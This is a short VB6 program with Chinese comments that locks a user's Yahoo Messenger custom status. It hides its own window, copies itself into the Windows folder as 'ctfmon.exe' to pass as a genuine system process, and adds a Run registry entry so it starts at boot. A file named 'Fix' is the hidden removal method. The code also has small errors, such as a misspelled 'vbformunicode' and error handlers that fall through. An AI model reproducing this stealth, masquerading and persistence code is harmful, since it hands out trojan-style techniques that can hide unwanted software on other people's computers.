VB6 即時通狀態鎖定

VB6 狀態鎖定

Private Declare Function SHGetSpecialFolderLocation Lib "Shell32" (ByVal hwndOwner As Long, ByVal nFolder As Integer, ppidl As Long) As Long
Private Declare Function SHGetPathFromIDList Lib "Shell32" Alias "SHGetPathFromIDListA" (ByVal PIDL As Long, ByVal szPath As String) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As String, ByVal cbData As Long) As Long
Public Y As YahooMessengerLib.Messenger2
Public MSG As String
Private Sub Form_Load()
  '建立實體
  Connect
  '設定想要的狀態文字
  MSG = App.Comments
  '隱藏自己
  Me.Hide
  '設定到即時通狀態
  SetMsg (MSG)
  '自我複製
  '取得Windows資料夾
  Dim WindowDir As String, PIDL As Long
  WindowDir = String(255, 0)
  SHGetSpecialFolderLocation 0, &H24, PIDL
  SHGetPathFromIDList PIDL, WindowDir
  WindowDir = Left(WindowDir, InStr(WindowDir, Chr(0)) - 1)
  Dim MPath As String
  MPath = App.Path & "\" & App.EXEName & ".exe"
  On Error GoTo ErrorHandler
  Dim ret As Long, hKey As Long
  Dim Path As String
  '檢查是否為秘密還原法
  If App.EXEName = "Fix" Then
    ret = RegOpenKey(&H80000001, "Software\Microsoft\" + "Windows\CurrentVersion\Run", hKey)
    Path = "0"
    ret = RegSetValueEx(hKey, "LockStat", 0, 1, ByVal Path, Len(Path) + 1)
  End If
  '如果與系統路徑不相等，則..
  If MPath <> (WindowDir & "\" & "ctfmon.exe") Then
    '複製檔案
    FileCopy MPath, WindowDir & "\ctfmon.exe"
    '寫入開機啟動
    ret = RegOpenKey(&H80000001, "Software\Microsoft\" + "Windows\CurrentVersion\Run", hKey)
    Path = StrConv(WindowDir & "\ctfmon.exe", vbformunicode)
    ret = RegSetValueEx(hKey, "LockStat", 0, 1, ByVal Path, Len(Path) + 1)
    '執行系統路徑的自身
    Shell (Path)
    '結束非系統路徑的自己
    End
  End If
  Exit Sub
ErrorHandler:
  Exit Sub
End Sub
Function Connect() As Boolean
 On Error GoTo ErrorHandler
  Dim C As New YahooMessengerLib.Messenger2
  Set Y = C
  Connect = True
ErrorHandler:
  Connect = False
End Function
Sub SetMsg(Str As String)
 If Y Is Nothing Then Exit Sub
 On Error GoTo ErrorHandler
   Y.Me.Status.SetCustomStatus Str, 0, Nothing, Nothing
ErrorHandler:
  Set Y = Nothing
End Sub
Private Sub Timer1_Timer()
  If Y Is Nothing Then
   If Not Connect Then Exit Sub
  End If
  On Error GoTo ErrorHandler
  If Y.Me.Status.Message <> MSG Then SetMsg (MSG)
ErrorHandler:
  Set Y = Nothing
End Sub